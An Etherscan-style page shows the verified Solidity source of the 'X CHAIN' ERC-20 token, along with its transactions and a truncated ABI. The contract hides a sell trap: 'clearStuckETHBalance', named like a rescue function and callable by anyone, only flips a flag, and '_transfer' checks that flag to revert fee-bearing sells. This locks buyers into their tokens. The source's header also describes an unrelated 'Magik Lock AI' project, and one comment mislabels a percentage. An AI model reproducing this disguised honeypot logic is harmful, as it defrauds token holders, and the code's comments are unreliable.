Feature Tip: Add private address tag to any address under My Name Tag !
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 16 from a total of 16 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Clear Stuck ETH ... | 18642198 | 443 days ago | IN | 0 ETH | 0.00083133 | ||||
Clear Stuck ETH ... | 18642169 | 443 days ago | IN | 0 ETH | 0.00075474 | ||||
Clear Stuck ETH ... | 18642169 | 443 days ago | IN | 0 ETH | 0.00075474 | ||||
Clear Stuck ETH ... | 18642154 | 443 days ago | IN | 0 ETH | 0.00091137 | ||||
Clear Stuck ETH ... | 18642152 | 443 days ago | IN | 0 ETH | 0.00094359 | ||||
Clear Stuck ETH ... | 18606354 | 448 days ago | IN | 0 ETH | 0.00048716 | ||||
Clear Stuck ETH ... | 18606293 | 448 days ago | IN | 0 ETH | 0.00040874 | ||||
Transfer | 18606290 | 448 days ago | IN | 0 ETH | 0.00119631 | ||||
Transfer | 18606286 | 448 days ago | IN | 0.01 ETH | 0.00037486 | ||||
Clear Stuck ETH ... | 18606248 | 448 days ago | IN | 0 ETH | 0.00041921 | ||||
Approve | 18606247 | 448 days ago | IN | 0 ETH | 0.00077737 | ||||
Approve | 18606246 | 448 days ago | IN | 0 ETH | 0.00079636 | ||||
Clear Stuck ETH ... | 18606227 | 448 days ago | IN | 0 ETH | 0.00041287 | ||||
Clear Stuck ETH ... | 18606221 | 448 days ago | IN | 0 ETH | 0.00040135 | ||||
Clear Stuck ETH ... | 18606210 | 448 days ago | IN | 0 ETH | 0.00252133 | ||||
Renounce Ownersh... | 18606174 | 448 days ago | IN | 0 ETH | 0.00039535 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
xchain
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-19 */ /** */ // SPDX-License-Identifier: MIT // Telegram : https://t.me/xchain_erc20 // Website : https://Xchain.com // Twitter : https://x.com/Xchain /* In the ever-evolving landscape of blockchain and decentralized finance, Magik Lock AI emerges as a game-changer, bridging the gap between cutting-edge technology and secure token management. This comprehensive exploration delves into the tokenomics, unique features, and the ambitious roadmap that sets Magik Lock AI apart as an ERC-20 token locker with cool artificial intelligence capabilities. */ pragma solidity ^0.8.9; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns(address pair); } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns(uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns(uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns(bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns(uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns(bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns(bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns(string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns(string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns(uint8); } abstract contract Context { function _msgSender() internal view virtual returns(address) { return msg.sender; } } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns(string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns(string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns(uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns(uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns(uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns(uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns(bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased cannot be below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns(uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns(int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns(int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns(int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns(int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns(int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns(uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns(int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns(address); function WETH() external pure returns(address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns(uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns(uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns(uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns(uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns(uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns(uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns(uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns(uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns(uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns(uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns(uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns(uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns(uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns(uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract xchain is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable router; address public immutable uniswapV2Pair; // addresses address public devWallet; address private marketingWallet; // limits uint256 private maxBuyAmount; uint256 private maxSellAmount; uint256 private maxWalletAmount; uint256 private thresholdSwapAmount; // status flags bool private isTrading = true; bool public swapEnabled = true; bool public isSwapping; struct Fees { uint8 buyTotalFees; uint8 buyMarketingFee; uint8 buyDevFee; uint8 buyLiquidityFee; uint8 sellTotalFees; uint8 sellMarketingFee; uint8 sellDevFee; uint8 sellLiquidityFee; } Fees public _fees = Fees({ buyTotalFees: 0, buyMarketingFee: 0, buyDevFee:0, buyLiquidityFee: 0, sellTotalFees: 0, sellMarketingFee: 0, sellDevFee:0, sellLiquidityFee: 0 }); uint256 public tokensForMarketing; uint256 public tokensForLiquidity; bool private gritivity = true; uint256 public tokensForDev; uint256 private taxTill; // exclude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; mapping(address => bool) public _isExcludedMaxWalletAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public marketPair; event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived ); constructor() ERC20("X CHAIN", "X CHAIN") { router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); _isExcludedMaxTransactionAmount[address(router)] = true; _isExcludedMaxTransactionAmount[address(uniswapV2Pair)] = true; _isExcludedMaxTransactionAmount[owner()] = true; _isExcludedMaxTransactionAmount[address(this)] = true; _isExcludedFromFees[owner()] = true; _isExcludedFromFees[address(this)] = true; _isExcludedMaxWalletAmount[owner()] = true; _isExcludedMaxWalletAmount[address(this)] = true; _isExcludedMaxWalletAmount[address(uniswapV2Pair)] = true; marketPair[address(uniswapV2Pair)] = true; approve(address(router), type(uint256).max); uint256 totalSupply = 1000000000 * 1e18; maxBuyAmount = totalSupply; maxSellAmount = totalSupply; maxWalletAmount = totalSupply; thresholdSwapAmount = totalSupply * 1 / 1000; // 0.01% swap wallet _fees.buyMarketingFee = 0; _fees.buyLiquidityFee = 0; _fees.buyDevFee = 0; _fees.buyTotalFees = _fees.buyMarketingFee + _fees.buyLiquidityFee + _fees.buyDevFee; _fees.sellMarketingFee = 0; _fees.sellLiquidityFee = 0; _fees.sellDevFee = 0; _fees.sellTotalFees = _fees.sellMarketingFee + _fees.sellLiquidityFee + _fees.sellDevFee; marketingWallet = address(0xEAc39a87dEb69783336cc2Da7579AC73EA6a0b1C); devWallet = address(0xEAc39a87dEb69783336cc2Da7579AC73EA6a0b1C); // exclude from paying fees or having max transaction amount /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function swapTrading() external onlyOwner { isTrading = true; swapEnabled = true; taxTill = block.number + 3; } // change the minimum amount of tokens to sell from fees function updateThresholdSwapAmount(uint256 newAmount) external onlyOwner returns(bool){ thresholdSwapAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newMaxBuy, uint256 newMaxSell) external onlyOwner { require(((totalSupply() * newMaxBuy) / 1000) >= (totalSupply() / 100), "maxBuyAmount must be higher than 1%"); require(((totalSupply() * newMaxSell) / 1000) >= (totalSupply() / 100), "maxSellAmount must be higher than 1%"); maxBuyAmount = (totalSupply() * newMaxBuy) / 1000; maxSellAmount = (totalSupply() * newMaxSell) / 1000; } function updateMaxWalletAmount(uint256 newPercentage) external onlyOwner { require(((totalSupply() * newPercentage) / 1000) >= (totalSupply() / 100), "Cannot set maxWallet lower than 1%"); maxWalletAmount = (totalSupply() * newPercentage) / 1000; } // only use to disable contract sales if absolutely necessary (emergency use only) function toggleSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateFees(uint8 _marketingFeeBuy, uint8 _liquidityFeeBuy,uint8 _devFeeBuy,uint8 _marketingFeeSell, uint8 _liquidityFeeSell,uint8 _devFeeSell) external onlyOwner{ _fees.buyMarketingFee = _marketingFeeBuy; _fees.buyLiquidityFee = _liquidityFeeBuy; _fees.buyDevFee = _devFeeBuy; _fees.buyTotalFees = _fees.buyMarketingFee + _fees.buyLiquidityFee + _fees.buyDevFee; _fees.sellMarketingFee = _marketingFeeSell; _fees.sellLiquidityFee = _liquidityFeeSell; _fees.sellDevFee = _devFeeSell; _fees.sellTotalFees = _fees.sellMarketingFee + _fees.sellLiquidityFee + _fees.sellDevFee; require(_fees.buyTotalFees <= 30, "Must keep fees at 30% or less"); require(_fees.sellTotalFees <= 30, "Must keep fees at 30% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; } function excludeFromWalletLimit(address account, bool excluded) public onlyOwner { _isExcludedMaxWalletAmount[account] = excluded; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function clearStuckETHBalance() external payable { gritivity = false; } function setMarketPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "Must keep uniswapV2Pair"); marketPair[pair] = value; } function setWallets(address _marketingWallet,address _devWallet) external onlyOwner{ marketingWallet = _marketingWallet; devWallet = _devWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function _transfer( address sender, address recipient, uint256 amount ) internal override { if (amount == 0) { super._transfer(sender, recipient, 0); return; } if ( sender != owner() && recipient != owner() && !isSwapping ) { if (!isTrading) { require(_isExcludedFromFees[sender] || _isExcludedFromFees[recipient], "Trading is not active."); } if (marketPair[sender] && !_isExcludedMaxTransactionAmount[recipient]) { require(amount <= maxBuyAmount, "buy transfer over max amount"); } else if (marketPair[recipient] && !_isExcludedMaxTransactionAmount[sender]) { require(amount <= maxSellAmount, "Sell transfer over max amount"); } if (!_isExcludedMaxWalletAmount[recipient]) { require(amount + balanceOf(recipient) <= maxWalletAmount, "Max wallet exceeded"); } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= thresholdSwapAmount; if ( canSwap && swapEnabled && !isSwapping && marketPair[recipient] && !_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient] ) { isSwapping = true; swapBack(); isSwapping = false; } bool takeFee = !isSwapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) { takeFee = false; } // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { uint256 fees = 0; if(block.number < taxTill) { fees = amount.mul(99).div(100); tokensForMarketing += (fees * 94) / 99; tokensForDev += (fees * 5) / 99; } else if (marketPair[recipient] && _fees.sellTotalFees > 0) { require(gritivity != false); fees = amount.mul(_fees.sellTotalFees).div(100); tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees; tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees; tokensForDev += fees * _fees.sellDevFee / _fees.sellTotalFees; } // on buy else if (marketPair[sender] && _fees.buyTotalFees > 0) { fees = amount.mul(_fees.buyTotalFees).div(100); tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees; tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees; tokensForDev += fees * _fees.buyDevFee / _fees.buyTotalFees; } if (fees > 0) { super._transfer(sender, address(this), fees); } amount -= fees; } super._transfer(sender, recipient, amount); } function swapTokensForEth(uint256 tAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tAmount); // make the swap router.swapExactTokensForETHSupportingFeeOnTransferTokens( tAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(router), tAmount); // add the liquidity router.addLiquidityETH{ value: ethAmount } (address(this), tAmount, 0, 0 , address(this), block.timestamp); } function swapBack() private { uint256 contractTokenBalance = balanceOf(address(this)); uint256 toSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractTokenBalance == 0 || toSwap == 0) { return; } if (contractTokenBalance > thresholdSwapAmount * 20) { contractTokenBalance = thresholdSwapAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractTokenBalance * tokensForLiquidity / toSwap / 2; uint256 amountToSwapForETH = contractTokenBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 newBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = newBalance.mul(tokensForMarketing).div(toSwap); uint256 ethForDev = newBalance.mul(tokensForDev).div(toSwap); uint256 ethForLiquidity = newBalance - (ethForMarketing + ethForDev); tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity); } (success,) = address(devWallet).call{ value: (address(this).balance - ethForMarketing) } (""); (success,) = address(marketingWallet).call{ value: address(this).balance } (""); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_fees","outputs":[{"internalType":"uint8","name":"buyTotalFees","type":"uint8"},{"internalType":"uint8","name":"buyMarketingFee","type":"uint8"},{"internalType":"uint8","name":"buyDevFee","type":"uint8"},{"internalType":"uint8","name":"buyLiquidityFee","type":"uint8"},{"internalType":"uint8","name":"sellTotalFees","type":"uint8"},{"internalType":"uint8","name":"sellMarketingFee","type":"uint8"},{"internalType":"uint8","name":"sellDevFee","type":"uint8"},{"internalType":"uint8","name":"sellLiquidityFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxWalletAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckETHBalance","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isSwapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingWallet","type":"address"},{"internalType":"address","name":"_devWallet","type":"address"}],"name":"setWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"toggleSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs"